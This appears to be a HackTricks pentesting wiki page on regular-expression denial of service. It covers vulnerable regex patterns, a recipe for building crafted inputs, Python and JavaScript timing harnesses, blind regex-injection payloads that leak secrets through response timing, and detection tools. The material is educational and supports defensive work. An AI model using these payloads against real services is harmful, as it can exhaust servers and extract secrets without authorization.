regular-expression-denial-of-service-redos.md (8250B)
1 --- 2 title: "Regular Expression Denial of Service - ReDoS" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/regular-expression-denial-of-service-redos.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/regular-expression-denial-of-service-redos.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Regular Expression Denial of Service - ReDoS 14 15 A **Regular Expression Denial of Service (ReDoS)** occurs when attacker-controlled input drives a vulnerable regular-expression engine into excessive computation. Ambiguous nested quantifiers or overlapping alternatives can make a backtracking engine explore exponentially or polynomially many paths, consuming a worker thread or event loop for a long time.<sup>[[1]](#references)[[5]](#references)</sup> 16 17 ## The Problematic Regex Naïve Algorithm 18 19 **Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**<sup>[[1]](#references)</sup> 20 21 ### Engine behavior and exploitability 22 23 - Widely used engines such as PCRE, Java `java.util.regex`, Python `re`, and JavaScript `RegExp` use backtracking for relevant pattern features. Crafted inputs that create many overlapping ways to match a subpattern can force exponential or high-polynomial work.<sup>[[5]](#references)</sup> 24 - Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.<sup>[[5]](#references)[[6]](#references)</sup> 25 26 ## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a> 27 28 An "evil regex" is a pattern that performs excessive work on a crafted input. Common warning signs include a repeated group containing another repetition or overlapping alternatives.<sup>[[1]](#references)[[5]](#references)</sup> 29 30 - (a+)+ 31 - ([a-zA-Z]+)\* 32 - (a|aa)+ 33 - (a|a?)+ 34 - (.*a){x} for x > 10 35 36 All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`. 37 38 ### Practical recipe to build PoCs 39 40 Most catastrophic cases follow this shape: 41 42 - Prefix that gets you into the vulnerable subpattern (optional). 43 - Long run of a character that causes ambiguous matches inside nested/overlapping quantifiers (e.g., many `a`, `_`, or spaces). 44 - A final character that forces overall failure so the engine must backtrack through all possibilities (often a character that won’t match the last token, like `!`). 45 46 Minimal examples: 47 48 - `(a+)+$` vs input `"a"*N + "!"` 49 - `\w*_*\w*$` vs input `"v" + "_"*N + "!"` 50 51 Increase N and observe super‑linear growth. 52 53 #### Quick timing harness (Python) 54 55 ```python 56 import re, time 57 pat = re.compile(r'(\w*_)\w*$') 58 for n in [2**k for k in range(8, 15)]: 59 s = 'v' + '_'*n + '!' 60 t0=time.time(); pat.search(s); dt=time.time()-t0 61 print(n, f"{dt:.3f}s") 62 ``` 63 64 ## ReDoS Payloads 65 66 ### String Exfiltration via ReDoS 67 68 In an authorized CTF or assessment, an attacker may control a regex that is evaluated against a secret. A lookahead can make the catastrophic portion run only when a guessed prefix matches, turning response time into an oracle that reveals the secret one character at a time:<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup> 69 70 - In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`<sup>[[2]](#references)</sup> 71 - Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` 72 - In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`<sup>[[3]](#references)</sup> 73 - In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`<sup>[[4]](#references)</sup> 74 75 ### ReDoS Controlling Input and Regex 76 77 The following are **ReDoS** examples where you **control** both the **input** and the **regex**: 78 79 ```javascript 80 function check_time_regexp(regexp, text) { 81 var t0 = new Date().getTime() 82 new RegExp(regexp).test(text) 83 var t1 = new Date().getTime() 84 console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.") 85 } 86 87 // These payloads work because the input has many "a" characters 88 ;[ 89 // "((a+)+)+$", //Eternal, 90 // "(a?){100}$", //Eternal 91 "(a|a?)+$", 92 "(\\w*)+$", //Generic 93 "(a*)+$", 94 "(.*a){100}$", 95 "([a-zA-Z]+)*$", //Generic 96 "(a+)*$", 97 ].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!")) 98 99 /* 100 Regexp (a|a?)+$ took 5076 milliseconds. 101 Regexp (\w*)+$ took 3198 milliseconds. 102 Regexp (a*)+$ took 3281 milliseconds. 103 Regexp (.*a){100}$ took 1436 milliseconds. 104 Regexp ([a-zA-Z]+)*$ took 773 milliseconds. 105 Regexp (a+)*$ took 723 milliseconds. 106 */ 107 ``` 108 109 ### Language and Engine Notes 110 111 - JavaScript (browser/Node): Built-in `RegExp` can backtrack and becomes a ReDoS sink when a vulnerable pattern processes attacker-influenced input. 112 - Python: `re` is backtracking. Long ambiguous runs plus a failing tail often yield catastrophic backtracking. 113 - Java: `java.util.regex` is backtracking. If you only control input, look for endpoints using complex validators; if you control patterns (e.g., stored rules), ReDoS is usually trivial. 114 - Engines such as **RE2/RE2J/RE2JS** or the **Rust regex** crate avoid catastrophic backtracking for supported syntax. Resource exhaustion can still arise from huge inputs, patterns, captures, or surrounding application logic.<sup>[[5]](#references)[[6]](#references)</sup> 115 116 ## Tools 117 118 - `regexploit` detects vulnerable regexes and generates candidate inputs.<sup>[[7]](#references)</sup> 119 - Find vulnerable regexes and auto‑generate evil inputs. Examples: 120 - `pip install regexploit` 121 - Analyze one pattern interactively: `regexploit` 122 - Scan Python/JS code for regexes: `regexploit-py path/` and `regexploit-js path/` 123 - The Devina ReDoS checker provides an interactive pattern check.<sup>[[8]](#references)</sup> 124 - `vuln-regex-detector` extracts regexes from projects, detects candidates, and validates them in the target language.<sup>[[9]](#references)</sup> 125 - End‑to‑end pipeline to extract regexes from a project, detect vulnerable ones, and validate PoCs in the target language. Useful for hunting through large codebases. 126 - `redos-detector` is a JavaScript library/CLI that analyzes backtracking behavior.<sup>[[10]](#references)</sup> 127 - Simple CLI/JS library that reasons about backtracking to report if a pattern is safe. 128 129 > Tip: When you only control input, generate strings with doubling lengths (e.g., 2^k characters) and track latency. Exponential growth strongly indicates a viable ReDoS. 130 131 ## References 132 133 - [1] [OWASP – Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) 134 - [2] [PortSwigger Daily Swig – Blind regex injection: theoretical exploit offers new way to force web apps to spill secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) 135 - [3] [jorgectf – Created CTF Challenges: TacoMaker @ DEKRA CTF 2022 solver](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) 136 - [4] [CTFtime writeup 25869](https://ctftime.org/writeup/25869) 137 - [5] [SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS)](https://arxiv.org/abs/2406.11618) 138 - [6] [Why RE2? (linear‑time regex engine)](https://github.com/google/re2/wiki/WhyRE2) 139 - [7] [Doyensec - regexploit](https://github.com/doyensec/regexploit) 140 - [8] [Devina ReDoS checker](https://devina.io/redos-checker) 141 - [9] [davisjam/vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector) 142 - [10] [tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector)